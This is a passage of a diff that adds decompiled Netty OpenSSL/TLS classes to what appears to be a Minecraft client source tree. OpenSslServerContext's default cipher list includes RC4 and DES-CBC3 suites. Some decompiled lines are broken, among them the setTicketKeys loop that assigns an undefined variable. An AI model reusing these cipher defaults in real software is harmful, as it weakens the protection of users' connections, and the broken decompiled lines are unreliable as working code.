+    }
+    
+    if (accepted == 0) {
+      SSL.doHandshake(ssl);
+      accepted = 1;
+    }
+  }
+  
+  private SSLEngineResult.Status getEngineStatus() {
+    return engineClosed ? SSLEngineResult.Status.CLOSED : SSLEngineResult.Status.OK;
+  }
+  
+  public synchronized SSLEngineResult.HandshakeStatus getHandshakeStatus()
+  {
+    if ((accepted == 0) || (destroyed != 0)) {
+      return SSLEngineResult.HandshakeStatus.NOT_HANDSHAKING;
+    }
+    
+
+    if (!handshakeFinished)
+    {
+      if (SSL.pendingWrittenBytesInBIO(networkBIO) != 0) {
+        return SSLEngineResult.HandshakeStatus.NEED_WRAP;
+      }
+      
+
+
+      if (SSL.isInInit(ssl) == 0) {
+        handshakeFinished = true;
+        cipher = SSL.getCipherForSSL(ssl);
+        String applicationProtocol = SSL.getNextProtoNegotiated(ssl);
+        if (applicationProtocol == null) {
+          applicationProtocol = fallbackApplicationProtocol;
+        }
+        if (applicationProtocol != null) {
+          this.applicationProtocol = applicationProtocol.replace(':', '_');
+        } else {
+          this.applicationProtocol = null;
+        }
+        return SSLEngineResult.HandshakeStatus.FINISHED;
+      }
+      
+
+
+      return SSLEngineResult.HandshakeStatus.NEED_UNWRAP;
+    }
+    
+
+    if (engineClosed)
+    {
+      if (SSL.pendingWrittenBytesInBIO(networkBIO) != 0) {
+        return SSLEngineResult.HandshakeStatus.NEED_WRAP;
+      }
+      
+
+      return SSLEngineResult.HandshakeStatus.NEED_UNWRAP;
+    }
+    
+    return SSLEngineResult.HandshakeStatus.NOT_HANDSHAKING;
+  }
+  
+  public void setUseClientMode(boolean clientMode)
+  {
+    if (clientMode) {
+      throw new UnsupportedOperationException();
+    }
+  }
+  
+  public boolean getUseClientMode()
+  {
+    return false;
+  }
+  
+  public void setNeedClientAuth(boolean b)
+  {
+    if (b) {
+      throw new UnsupportedOperationException();
+    }
+  }
+  
+  public boolean getNeedClientAuth()
+  {
+    return false;
+  }
+  
+  public void setWantClientAuth(boolean b)
+  {
+    if (b) {
+      throw new UnsupportedOperationException();
+    }
+  }
+  
+  public boolean getWantClientAuth()
+  {
+    return false;
+  }
+  
+  public void setEnableSessionCreation(boolean b)
+  {
+    if (b) {
+      throw new UnsupportedOperationException();
+    }
+  }
+  
+  public boolean getEnableSessionCreation()
+  {
+    return false;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/OpenSslEngineMap.java b/src/minecraft/io/netty/handler/ssl/OpenSslEngineMap.java
new file mode 100644
index 0000000..5deaf4a
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/OpenSslEngineMap.java
@@ -0,0 +1,10 @@
+package io.netty.handler.ssl;
+
+abstract interface OpenSslEngineMap
+{
+  public abstract ReferenceCountedOpenSslEngine remove(long paramLong);
+  
+  public abstract void add(ReferenceCountedOpenSslEngine paramReferenceCountedOpenSslEngine);
+  
+  public abstract ReferenceCountedOpenSslEngine get(long paramLong);
+}
diff --git a/src/minecraft/io/netty/handler/ssl/OpenSslExtendedKeyMaterialManager.java b/src/minecraft/io/netty/handler/ssl/OpenSslExtendedKeyMaterialManager.java
new file mode 100644
index 0000000..976ac92
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/OpenSslExtendedKeyMaterialManager.java
@@ -0,0 +1,40 @@
+package io.netty.handler.ssl;
+
+import javax.net.ssl.X509ExtendedKeyManager;
+import javax.security.auth.x500.X500Principal;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class OpenSslExtendedKeyMaterialManager
+  extends OpenSslKeyMaterialManager
+{
+  private final X509ExtendedKeyManager keyManager;
+  
+  OpenSslExtendedKeyMaterialManager(X509ExtendedKeyManager keyManager, String password)
+  {
+    super(keyManager, password);
+    this.keyManager = keyManager;
+  }
+  
+
+  protected String chooseClientAlias(ReferenceCountedOpenSslEngine engine, String[] keyTypes, X500Principal[] issuer)
+  {
+    return keyManager.chooseEngineClientAlias(keyTypes, issuer, engine);
+  }
+  
+  protected String chooseServerAlias(ReferenceCountedOpenSslEngine engine, String type)
+  {
+    return keyManager.chooseEngineServerAlias(type, null, engine);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/OpenSslJavaxX509Certificate.java b/src/minecraft/io/netty/handler/ssl/OpenSslJavaxX509Certificate.java
new file mode 100644
index 0000000..a805140
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/OpenSslJavaxX509Certificate.java
@@ -0,0 +1,134 @@
+package io.netty.handler.ssl;
+
+import java.math.BigInteger;
+import java.security.InvalidKeyException;
+import java.security.NoSuchAlgorithmException;
+import java.security.NoSuchProviderException;
+import java.security.Principal;
+import java.security.PublicKey;
+import java.security.SignatureException;
+import java.util.Date;
+import javax.security.cert.CertificateException;
+import javax.security.cert.CertificateExpiredException;
+import javax.security.cert.CertificateNotYetValidException;
+import javax.security.cert.X509Certificate;
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class OpenSslJavaxX509Certificate
+  extends X509Certificate
+{
+  private final byte[] bytes;
+  private X509Certificate wrapped;
+  
+  public OpenSslJavaxX509Certificate(byte[] bytes)
+  {
+    this.bytes = bytes;
+  }
+  
+  public void checkValidity() throws CertificateExpiredException, CertificateNotYetValidException
+  {
+    unwrap().checkValidity();
+  }
+  
+  public void checkValidity(Date date) throws CertificateExpiredException, CertificateNotYetValidException
+  {
+    unwrap().checkValidity(date);
+  }
+  
+  public int getVersion()
+  {
+    return unwrap().getVersion();
+  }
+  
+  public BigInteger getSerialNumber()
+  {
+    return unwrap().getSerialNumber();
+  }
+  
+  public Principal getIssuerDN()
+  {
+    return unwrap().getIssuerDN();
+  }
+  
+  public Principal getSubjectDN()
+  {
+    return unwrap().getSubjectDN();
+  }
+  
+  public Date getNotBefore()
+  {
+    return unwrap().getNotBefore();
+  }
+  
+  public Date getNotAfter()
+  {
+    return unwrap().getNotAfter();
+  }
+  
+  public String getSigAlgName()
+  {
+    return unwrap().getSigAlgName();
+  }
+  
+  public String getSigAlgOID()
+  {
+    return unwrap().getSigAlgOID();
+  }
+  
+  public byte[] getSigAlgParams()
+  {
+    return unwrap().getSigAlgParams();
+  }
+  
+  public byte[] getEncoded()
+  {
+    return (byte[])bytes.clone();
+  }
+  
+
+  public void verify(PublicKey key)
+    throws CertificateException, NoSuchAlgorithmException, InvalidKeyException, NoSuchProviderException, SignatureException
+  {
+    unwrap().verify(key);
+  }
+  
+
+  public void verify(PublicKey key, String sigProvider)
+    throws CertificateException, NoSuchAlgorithmException, InvalidKeyException, NoSuchProviderException, SignatureException
+  {
+    unwrap().verify(key, sigProvider);
+  }
+  
+  public String toString()
+  {
+    return unwrap().toString();
+  }
+  
+  public PublicKey getPublicKey()
+  {
+    return unwrap().getPublicKey();
+  }
+  
+  private X509Certificate unwrap() {
+    X509Certificate wrapped = this.wrapped;
+    if (wrapped == null) {
+      try {
+        wrapped = this.wrapped = X509Certificate.getInstance(bytes);
+      } catch (CertificateException e) {
+        throw new IllegalStateException(e);
+      }
+    }
+    return wrapped;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/OpenSslKeyMaterialManager.java b/src/minecraft/io/netty/handler/ssl/OpenSslKeyMaterialManager.java
new file mode 100644
index 0000000..3f255db0
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/OpenSslKeyMaterialManager.java
@@ -0,0 +1,179 @@
+package io.netty.handler.ssl;
+
+import io.netty.buffer.ByteBufAllocator;
+import java.security.PrivateKey;
+import java.security.cert.X509Certificate;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.Set;
+import javax.net.ssl.SSLException;
+import javax.net.ssl.X509KeyManager;
+import javax.security.auth.x500.X500Principal;
+import org.apache.tomcat.jni.CertificateRequestedCallback.KeyMaterial;
+import org.apache.tomcat.jni.SSL;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class OpenSslKeyMaterialManager
+{
+  static final String KEY_TYPE_RSA = "RSA";
+  static final String KEY_TYPE_DH_RSA = "DH_RSA";
+  static final String KEY_TYPE_EC = "EC";
+  static final String KEY_TYPE_EC_EC = "EC_EC";
+  static final String KEY_TYPE_EC_RSA = "EC_RSA";
+  private static final Map<String, String> KEY_TYPES = new HashMap();
+  
+  static { KEY_TYPES.put("RSA", "RSA");
+    KEY_TYPES.put("DHE_RSA", "RSA");
+    KEY_TYPES.put("ECDHE_RSA", "RSA");
+    KEY_TYPES.put("ECDHE_ECDSA", "EC");
+    KEY_TYPES.put("ECDH_RSA", "EC_RSA");
+    KEY_TYPES.put("ECDH_ECDSA", "EC_EC");
+    KEY_TYPES.put("DH_RSA", "DH_RSA");
+  }
+  
+  private final X509KeyManager keyManager;
+  private final String password;
+  OpenSslKeyMaterialManager(X509KeyManager keyManager, String password)
+  {
+    this.keyManager = keyManager;
+    this.password = password;
+  }
+  
+  void setKeyMaterial(ReferenceCountedOpenSslEngine engine) throws SSLException {
+    long ssl = engine.sslPointer();
+    String[] authMethods = SSL.authenticationMethods(ssl);
+    Set<String> aliases = new HashSet(authMethods.length);
+    for (String authMethod : authMethods) {
+      String type = (String)KEY_TYPES.get(authMethod);
+      if (type != null) {
+        String alias = chooseServerAlias(engine, type);
+        if ((alias != null) && (aliases.add(alias))) {
+          setKeyMaterial(ssl, alias);
+        }
+      }
+    }
+  }
+  
+  CertificateRequestedCallback.KeyMaterial keyMaterial(ReferenceCountedOpenSslEngine engine, String[] keyTypes, X500Principal[] issuer) throws SSLException
+  {
+    String alias = chooseClientAlias(engine, keyTypes, issuer);
+    long keyBio = 0L;
+    long keyCertChainBio = 0L;
+    long pkey = 0L;
+    long certChain = 0L;
+    
+    try
+    {
+      X509Certificate[] certificates = keyManager.getCertificateChain(alias);
+      if ((certificates == null) || (certificates.length == 0)) {
+        return null;
+      }
+      
+      PrivateKey key = keyManager.getPrivateKey(alias);
+      keyCertChainBio = ReferenceCountedOpenSslContext.toBIO(certificates);
+      certChain = SSL.parseX509Chain(keyCertChainBio);
+      if (key != null) {
+        keyBio = ReferenceCountedOpenSslContext.toBIO(key);
+        pkey = SSL.parsePrivateKey(keyBio, password);
+      }
+      CertificateRequestedCallback.KeyMaterial material = new CertificateRequestedCallback.KeyMaterial(certChain, pkey);
+      
+
+
+
+
+      certChain = pkey = 0L;
+      return material;
+    } catch (SSLException e) {
+      throw e;
+    } catch (Exception e) {
+      throw new SSLException(e);
+    } finally {
+      ReferenceCountedOpenSslContext.freeBio(keyBio);
+      ReferenceCountedOpenSslContext.freeBio(keyCertChainBio);
+      SSL.freePrivateKey(pkey);
+      SSL.freeX509Chain(certChain);
+    }
+  }
+  
+  private void setKeyMaterial(long ssl, String alias) throws SSLException {
+    long keyBio = 0L;
+    long keyCertChainBio = 0L;
+    long keyCertChainBio2 = 0L;
+    
+    try
+    {
+      X509Certificate[] certificates = keyManager.getCertificateChain(alias);
+      if ((certificates == null) || (certificates.length == 0)) {
+        return;
+      }
+      
+      PrivateKey key = keyManager.getPrivateKey(alias);
+      
+
+      PemEncoded encoded = PemX509Certificate.toPEM(ByteBufAllocator.DEFAULT, true, certificates);
+      try {
+        keyCertChainBio = ReferenceCountedOpenSslContext.toBIO(ByteBufAllocator.DEFAULT, encoded.retain());
+        keyCertChainBio2 = ReferenceCountedOpenSslContext.toBIO(ByteBufAllocator.DEFAULT, encoded.retain());
+        
+        if (key != null) {
+          keyBio = ReferenceCountedOpenSslContext.toBIO(key);
+        }
+        SSL.setCertificateBio(ssl, keyCertChainBio, keyBio, password);
+        
+
+        SSL.setCertificateChainBio(ssl, keyCertChainBio2, true);
+      } finally {
+        encoded.release();
+      }
+    } catch (SSLException e) {
+      throw e;
+    } catch (Exception e) {
+      throw new SSLException(e);
+    } finally {
+      ReferenceCountedOpenSslContext.freeBio(keyBio);
+      ReferenceCountedOpenSslContext.freeBio(keyCertChainBio);
+      ReferenceCountedOpenSslContext.freeBio(keyCertChainBio2);
+    }
+  }
+  
+  protected String chooseClientAlias(ReferenceCountedOpenSslEngine engine, String[] keyTypes, X500Principal[] issuer)
+  {
+    return keyManager.chooseClientAlias(keyTypes, issuer, null);
+  }
+  
+  protected String chooseServerAlias(ReferenceCountedOpenSslEngine engine, String type) {
+    return keyManager.chooseServerAlias(type, null, null);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/OpenSslNpnApplicationProtocolNegotiator.java b/src/minecraft/io/netty/handler/ssl/OpenSslNpnApplicationProtocolNegotiator.java
new file mode 100644
index 0000000..6b3b3bc
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/OpenSslNpnApplicationProtocolNegotiator.java
@@ -0,0 +1,59 @@
+package io.netty.handler.ssl;
+
+import io.netty.util.internal.ObjectUtil;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Deprecated
+public final class OpenSslNpnApplicationProtocolNegotiator
+  implements OpenSslApplicationProtocolNegotiator
+{
+  private final List<String> protocols;
+  
+  public OpenSslNpnApplicationProtocolNegotiator(Iterable<String> protocols)
+  {
+    this.protocols = ((List)ObjectUtil.checkNotNull(ApplicationProtocolUtil.toList(protocols), "protocols"));
+  }
+  
+  public OpenSslNpnApplicationProtocolNegotiator(String... protocols) {
+    this.protocols = ((List)ObjectUtil.checkNotNull(ApplicationProtocolUtil.toList(protocols), "protocols"));
+  }
+  
+  public ApplicationProtocolConfig.Protocol protocol()
+  {
+    return ApplicationProtocolConfig.Protocol.NPN;
+  }
+  
+  public List<String> protocols()
+  {
+    return protocols;
+  }
+  
+  public ApplicationProtocolConfig.SelectorFailureBehavior selectorFailureBehavior()
+  {
+    return ApplicationProtocolConfig.SelectorFailureBehavior.CHOOSE_MY_LAST_PROTOCOL;
+  }
+  
+  public ApplicationProtocolConfig.SelectedListenerFailureBehavior selectedListenerFailureBehavior()
+  {
+    return ApplicationProtocolConfig.SelectedListenerFailureBehavior.ACCEPT;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/OpenSslServerContext.java b/src/minecraft/io/netty/handler/ssl/OpenSslServerContext.java
new file mode 100644
index 0000000..6e2c375
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/OpenSslServerContext.java
@@ -0,0 +1,349 @@
+package io.netty.handler.ssl;
+
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.io.File;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+import javax.net.ssl.SSLEngine;
+import javax.net.ssl.SSLException;
+import org.apache.tomcat.jni.Pool;
+import org.apache.tomcat.jni.SSL;
+import org.apache.tomcat.jni.SSLContext;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class OpenSslServerContext
+  extends SslContext
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(OpenSslServerContext.class);
+  private static final List<String> DEFAULT_CIPHERS;
+  private final long aprPool;
+  
+  static { List<String> ciphers = new ArrayList();
+    
+    Collections.addAll(ciphers, new String[] { "ECDHE-RSA-AES128-GCM-SHA256", "ECDHE-RSA-RC4-SHA", "ECDHE-RSA-AES128-SHA", "ECDHE-RSA-AES256-SHA", "AES128-GCM-SHA256", "RC4-SHA", "RC4-MD5", "AES128-SHA", "AES256-SHA", "DES-CBC3-SHA" });
+    
+
+
+
+
+
+
+
+
+
+
+    DEFAULT_CIPHERS = Collections.unmodifiableList(ciphers);
+    
+    if (logger.isDebugEnabled()) {
+      logger.debug("Default cipher suite (OpenSSL): " + ciphers);
+    }
+  }
+  
+
+
+  private final List<String> ciphers = new ArrayList();
+  private final List<String> unmodifiableCiphers = Collections.unmodifiableList(this.ciphers);
+  
+  private final long sessionCacheSize;
+  
+  private final long sessionTimeout;
+  
+  private final List<String> nextProtocols;
+  
+  private final long ctx;
+  
+  private final OpenSslSessionStats stats;
+  
+
+  public OpenSslServerContext(File certChainFile, File keyFile)
+    throws SSLException
+  {
+    this(certChainFile, keyFile, null);
+  }
+  
+
+
+
+
+
+
+  public OpenSslServerContext(File certChainFile, File keyFile, String keyPassword)
+    throws SSLException
+  {
+    this(certChainFile, keyFile, keyPassword, null, null, 0L, 0L);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public OpenSslServerContext(File certChainFile, File keyFile, String keyPassword, Iterable<String> ciphers, Iterable<String> nextProtocols, long sessionCacheSize, long sessionTimeout)
+    throws SSLException
+  {
+    OpenSsl.ensureAvailability();
+    
+    if (certChainFile == null) {
+      throw new NullPointerException("certChainFile");
+    }
+    if (!certChainFile.isFile()) {
+      throw new IllegalArgumentException("certChainFile is not a file: " + certChainFile);
+    }
+    if (keyFile == null) {
+      throw new NullPointerException("keyPath");
+    }
+    if (!keyFile.isFile()) {
+      throw new IllegalArgumentException("keyPath is not a file: " + keyFile);
+    }
+    if (ciphers == null) {
+      ciphers = DEFAULT_CIPHERS;
+    }
+    
+    if (keyPassword == null) {
+      keyPassword = "";
+    }
+    if (nextProtocols == null) {
+      nextProtocols = Collections.emptyList();
+    }
+    
+    for (String c : ciphers) {
+      if (c == null) {
+        break;
+      }
+      this.ciphers.add(c);
+    }
+    
+    List<String> nextProtoList = new ArrayList();
+    for (String p : nextProtocols) {
+      if (p == null) {
+        break;
+      }
+      nextProtoList.add(p);
+    }
+    this.nextProtocols = Collections.unmodifiableList(nextProtoList);
+    
+
+    aprPool = Pool.create(0L);
+    
+
+    boolean success = false;
+    try {
+      synchronized (OpenSslServerContext.class) {
+        try {
+          ctx = SSLContext.make(aprPool, 6, 1);
+        } catch (Exception e) {
+          throw new SSLException("failed to create an SSL_CTX", e);
+        }
+        
+        SSLContext.setOptions(ctx, 4095);
+        SSLContext.setOptions(ctx, 16777216);
+        SSLContext.setOptions(ctx, 4194304);
+        SSLContext.setOptions(ctx, 524288);
+        SSLContext.setOptions(ctx, 1048576);
+        SSLContext.setOptions(ctx, 65536);
+        
+
+        try
+        {
+          StringBuilder cipherBuf = new StringBuilder();
+          for (String c : this.ciphers) {
+            cipherBuf.append(c);
+            cipherBuf.append(':');
+          }
+          cipherBuf.setLength(cipherBuf.length() - 1);
+          
+          SSLContext.setCipherSuite(ctx, cipherBuf.toString());
+        } catch (SSLException e) {
+          throw e;
+        } catch (Exception e) {
+          throw new SSLException("failed to set cipher suite: " + this.ciphers, e);
+        }
+        
+
+        SSLContext.setVerify(ctx, 0, 10);
+        
+        try
+        {
+          if (!SSLContext.setCertificate(ctx, certChainFile.getPath(), keyFile.getPath(), keyPassword, 0))
+          {
+            throw new SSLException("failed to set certificate: " + certChainFile + " and " + keyFile + " (" + SSL.getLastError() + ')');
+          }
+        }
+        catch (SSLException e) {
+          throw e;
+        } catch (Exception e) {
+          throw new SSLException("failed to set certificate: " + certChainFile + " and " + keyFile, e);
+        }
+        
+
+        if (!SSLContext.setCertificateChainFile(ctx, certChainFile.getPath(), true)) {
+          String error = SSL.getLastError();
+          if (!error.startsWith("error:00000000:")) {
+            throw new SSLException("failed to set certificate chain: " + certChainFile + " (" + SSL.getLastError() + ')');
+          }
+        }
+        
+
+
+        if (!nextProtoList.isEmpty())
+        {
+          StringBuilder nextProtocolBuf = new StringBuilder();
+          for (String p : nextProtoList) {
+            nextProtocolBuf.append(p);
+            nextProtocolBuf.append(',');
+          }
+          nextProtocolBuf.setLength(nextProtocolBuf.length() - 1);
+          
+          SSLContext.setNextProtos(ctx, nextProtocolBuf.toString());
+        }
+        
+
+        if (sessionCacheSize > 0L) {
+          this.sessionCacheSize = sessionCacheSize;
+          SSLContext.setSessionCacheSize(ctx, sessionCacheSize);
+        }
+        else {
+          this.sessionCacheSize = (sessionCacheSize = SSLContext.setSessionCacheSize(ctx, 20480L));
+          
+          SSLContext.setSessionCacheSize(ctx, sessionCacheSize);
+        }
+        
+
+        if (sessionTimeout > 0L) {
+          this.sessionTimeout = sessionTimeout;
+          SSLContext.setSessionCacheTimeout(ctx, sessionTimeout);
+        }
+        else {
+          this.sessionTimeout = (sessionTimeout = SSLContext.setSessionCacheTimeout(ctx, 300L));
+          
+          SSLContext.setSessionCacheTimeout(ctx, sessionTimeout);
+        }
+      }
+      success = true;
+    } finally {
+      if (!success) {
+        destroyPools();
+      }
+    }
+    
+    stats = new OpenSslSessionStats(ctx);
+  }
+  
+  public boolean isClient()
+  {
+    return false;
+  }
+  
+  public List<String> cipherSuites()
+  {
+    return unmodifiableCiphers;
+  }
+  
+  public long sessionCacheSize()
+  {
+    return sessionCacheSize;
+  }
+  
+  public long sessionTimeout()
+  {
+    return sessionTimeout;
+  }
+  
+  public List<String> nextProtocols()
+  {
+    return nextProtocols;
+  }
+  
+
+
+  public long context()
+  {
+    return ctx;
+  }
+  
+
+
+  public OpenSslSessionStats stats()
+  {
+    return stats;
+  }
+  
+
+
+
+  public SSLEngine newEngine(ByteBufAllocator alloc)
+  {
+    if (nextProtocols.isEmpty()) {
+      return new OpenSslEngine(ctx, alloc, null);
+    }
+    return new OpenSslEngine(ctx, alloc, (String)nextProtocols.get(nextProtocols.size() - 1));
+  }
+  
+
+  public SSLEngine newEngine(ByteBufAllocator alloc, String peerHost, int peerPort)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+  public void setTicketKeys(byte[] keys)
+  {
+    if (keys == null) {
+      throw new NullPointerException("keys");
+    }
+    SSLContext.setSessionTicketKeys(ctx, keys);
+  }
+  
+  protected void finalize()
+    throws Throwable
+  {
+    super.finalize();
+    synchronized (OpenSslServerContext.class) {
+      if (ctx != 0L) {
+        SSLContext.free(ctx);
+      }
+    }
+    
+    destroyPools();
+  }
+  
+  private void destroyPools() {
+    if (aprPool != 0L) {
+      Pool.destroy(aprPool);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/OpenSslServerSessionContext.java b/src/minecraft/io/netty/handler/ssl/OpenSslServerSessionContext.java
new file mode 100644
index 0000000..fb72d94
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/OpenSslServerSessionContext.java
@@ -0,0 +1,79 @@
+package io.netty.handler.ssl;
+
+import org.apache.tomcat.jni.SSLContext;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class OpenSslServerSessionContext
+  extends OpenSslSessionContext
+{
+  OpenSslServerSessionContext(ReferenceCountedOpenSslContext context)
+  {
+    super(context);
+  }
+  
+  public void setSessionTimeout(int seconds)
+  {
+    if (seconds < 0) {
+      throw new IllegalArgumentException();
+    }
+    SSLContext.setSessionCacheTimeout(context.ctx, seconds);
+  }
+  
+  public int getSessionTimeout()
+  {
+    return (int)SSLContext.getSessionCacheTimeout(context.ctx);
+  }
+  
+  public void setSessionCacheSize(int size)
+  {
+    if (size < 0) {
+      throw new IllegalArgumentException();
+    }
+    SSLContext.setSessionCacheSize(context.ctx, size);
+  }
+  
+  public int getSessionCacheSize()
+  {
+    return (int)SSLContext.getSessionCacheSize(context.ctx);
+  }
+  
+  public void setSessionCacheEnabled(boolean enabled)
+  {
+    long mode = enabled ? 2L : 0L;
+    SSLContext.setSessionCacheMode(context.ctx, mode);
+  }
+  
+  public boolean isSessionCacheEnabled()
+  {
+    return SSLContext.getSessionCacheMode(context.ctx) == 2L;
+  }
+  
+
+
+
+
+
+
+
+
+  public boolean setSessionIdContext(byte[] sidCtx)
+  {
+    return SSLContext.setSessionIdContext(context.ctx, sidCtx);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/OpenSslSessionContext.java b/src/minecraft/io/netty/handler/ssl/OpenSslSessionContext.java
new file mode 100644
index 0000000..f8f3115
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/OpenSslSessionContext.java
@@ -0,0 +1,111 @@
+package io.netty.handler.ssl;
+
+import io.netty.util.internal.ObjectUtil;
+import java.util.Enumeration;
+import java.util.NoSuchElementException;
+import javax.net.ssl.SSLSession;
+import javax.net.ssl.SSLSessionContext;
+import org.apache.tomcat.jni.SSLContext;
+import org.apache.tomcat.jni.SessionTicketKey;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class OpenSslSessionContext
+  implements SSLSessionContext
+{
+  private static final Enumeration<byte[]> EMPTY = new EmptyEnumeration(null);
+  
+
+  private final OpenSslSessionStats stats;
+  
+  final ReferenceCountedOpenSslContext context;
+  
+
+  OpenSslSessionContext(ReferenceCountedOpenSslContext context)
+  {
+    this.context = context;
+    stats = new OpenSslSessionStats(context);
+  }
+  
+  public SSLSession getSession(byte[] bytes)
+  {
+    if (bytes == null) {
+      throw new NullPointerException("bytes");
+    }
+    return null;
+  }
+  
+  public Enumeration<byte[]> getIds()
+  {
+    return EMPTY;
+  }
+  
+
+
+
+  @Deprecated
+  public void setTicketKeys(byte[] keys)
+  {
+    ObjectUtil.checkNotNull(keys, "keys");
+    SSLContext.clearOptions(context.ctx, 16384);
+    SSLContext.setSessionTicketKeys(context.ctx, keys);
+  }
+  
+
+
+  public void setTicketKeys(OpenSslSessionTicketKey... keys)
+  {
+    ObjectUtil.checkNotNull(keys, "keys");
+    SSLContext.clearOptions(context.ctx, 16384);
+    SessionTicketKey[] ticketKeys = new SessionTicketKey[keys.length];
+    for (int i = 0; i < ticketKeys.length; i++) {
+      ticketKeys[i] = key;
+    }
+    SSLContext.setSessionTicketKeys(context.ctx, ticketKeys);
+  }
+  
+
+
+
+  public abstract void setSessionCacheEnabled(boolean paramBoolean);
+  
+
+
+
+  public abstract boolean isSessionCacheEnabled();
+  
+
+
+  public OpenSslSessionStats stats()
+  {
+    return stats;
+  }
+  
+  private static final class EmptyEnumeration implements Enumeration<byte[]> {
+    private EmptyEnumeration() {}
+    
+    public boolean hasMoreElements() { return false; }
+    
+
+    public byte[] nextElement()
+    {
+      throw new NoSuchElementException();
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/OpenSslSessionStats.java b/src/minecraft/io/netty/handler/ssl/OpenSslSessionStats.java
new file mode 100644
index 0000000..adb585e
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/OpenSslSessionStats.java
@@ -0,0 +1,122 @@
+package io.netty.handler.ssl;
+
+import org.apache.tomcat.jni.SSLContext;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class OpenSslSessionStats
+{
+  private final long context;
+  
+  OpenSslSessionStats(long context)
+  {
+    this.context = context;
+  }
+  
+
+
+  public long number()
+  {
+    return SSLContext.sessionNumber(context);
+  }
+  
+
+
+  public long connect()
+  {
+    return SSLContext.sessionConnect(context);
+  }
+  
+
+
+  public long connectGood()
+  {
+    return SSLContext.sessionConnectGood(context);
+  }
+  
+
+
+  public long connectRenegotiate()
+  {
+    return SSLContext.sessionConnectRenegotiate(context);
+  }
+  
+
+
+  public long accept()
+  {
+    return SSLContext.sessionAccept(context);
+  }
+  
+
+
+  public long acceptGood()
+  {
+    return SSLContext.sessionAcceptGood(context);
+  }
+  
+
+
+  public long acceptRenegotiate()
+  {
+    return SSLContext.sessionAcceptRenegotiate(context);
+  }
+  
+
+
+
+
+  public long hits()
+  {
+    return SSLContext.sessionHits(context);
+  }
+  
+
+
+  public long cbHits()
+  {
+    return SSLContext.sessionCbHits(context);
+  }
+  
+
+
+
+  public long misses()
+  {
+    return SSLContext.sessionMisses(context);
+  }
+  
+
+
+
+
+  public long timeouts()
+  {
+    return SSLContext.sessionTimeouts(context);
+  }
+  
+
+
+  public long cacheFull()
+  {
+    return SSLContext.sessionCacheFull(context);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/OpenSslSessionTicketKey.java b/src/minecraft/io/netty/handler/ssl/OpenSslSessionTicketKey.java
new file mode 100644
index 0000000..8292888
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/OpenSslSessionTicketKey.java
@@ -0,0 +1,78 @@
+package io.netty.handler.ssl;
+
+import org.apache.tomcat.jni.SessionTicketKey;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class OpenSslSessionTicketKey
+{
+  public static final int NAME_SIZE = 16;
+  public static final int HMAC_KEY_SIZE = 16;
+  public static final int AES_KEY_SIZE = 16;
+  public static final int TICKET_KEY_SIZE = 48;
+  final SessionTicketKey key;
+  
+  public OpenSslSessionTicketKey(byte[] name, byte[] hmacKey, byte[] aesKey)
+  {
+    key = new SessionTicketKey((byte[])name.clone(), (byte[])hmacKey.clone(), (byte[])aesKey.clone());
+  }
+  
+
+
+
+  public byte[] name()
+  {
+    return (byte[])key.getName().clone();
+  }
+  
+
+
+
+  public byte[] hmacKey()
+  {
+    return (byte[])key.getHmacKey().clone();
+  }
+  
+
+
+
+  public byte[] aesKey()
+  {
+    return (byte[])key.getAesKey().clone();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/OpenSslX509Certificate.java b/src/minecraft/io/netty/handler/ssl/OpenSslX509Certificate.java
new file mode 100644
index 0000000..2d0c5fb
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/OpenSslX509Certificate.java
@@ -0,0 +1,189 @@
+package io.netty.handler.ssl;
+
+import java.io.ByteArrayInputStream;
+import java.math.BigInteger;
+import java.security.InvalidKeyException;
+import java.security.NoSuchAlgorithmException;
+import java.security.NoSuchProviderException;
+import java.security.Principal;
+import java.security.PublicKey;
+import java.security.SignatureException;
+import java.security.cert.CertificateEncodingException;
+import java.security.cert.CertificateException;
+import java.security.cert.CertificateExpiredException;
+import java.security.cert.CertificateFactory;
+import java.security.cert.CertificateNotYetValidException;
+import java.security.cert.X509Certificate;
+import java.util.Date;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
